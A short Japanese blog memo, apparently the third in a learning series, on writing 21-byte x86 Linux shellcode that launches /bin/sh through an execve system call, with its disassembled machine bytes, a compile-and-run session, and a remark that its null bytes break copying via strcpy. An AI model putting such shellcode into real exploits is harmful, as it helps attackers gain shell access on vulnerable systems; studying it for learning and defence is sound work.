/bin/shを起動するシェルコード(x86) その3

更にバイト数を削れたのでメモ。と思ったけど、eaxへの代入にバイト数を割いていて、今回も21bytesだった。

今回は文字列の終端に0x00が必要だったので、//shではなく/shになっている。

# objdump -d -Mintel c.out | grep -A6 \<main\>
080483ed <main>:
 80483ed:       31 c9                   xor    ecx,ecx
 80483ef:       68 2f 73 68 00          push   0x68732f
 80483f4:       68 2f 62 69 6e          push   0x6e69622f
 80483f9:       89 e3                   mov    ebx,esp
 80483fb:       b8 0b 00 00 00          mov    eax,0xb
 8048400:       cd 80                   int    0x80
# gcc -m32 -o c.out c.s
# ./c.out
# exit

レジスタとスタックは以下のようになっているはず。

f:id:boblice:20171019001425p:plain

今回のようにNullバイト(0x00)が入っていると、strcpyなどを使ったときにシェルコードのコピーがうまくされない。0x00は文字列の終端として扱われるため。そのため、本来はNullバイトが無いシェルコードの方が使い勝手がよいものと思われる。

参考 Linux x86用のシェルコードを書いてみる - ももいろテクノロジー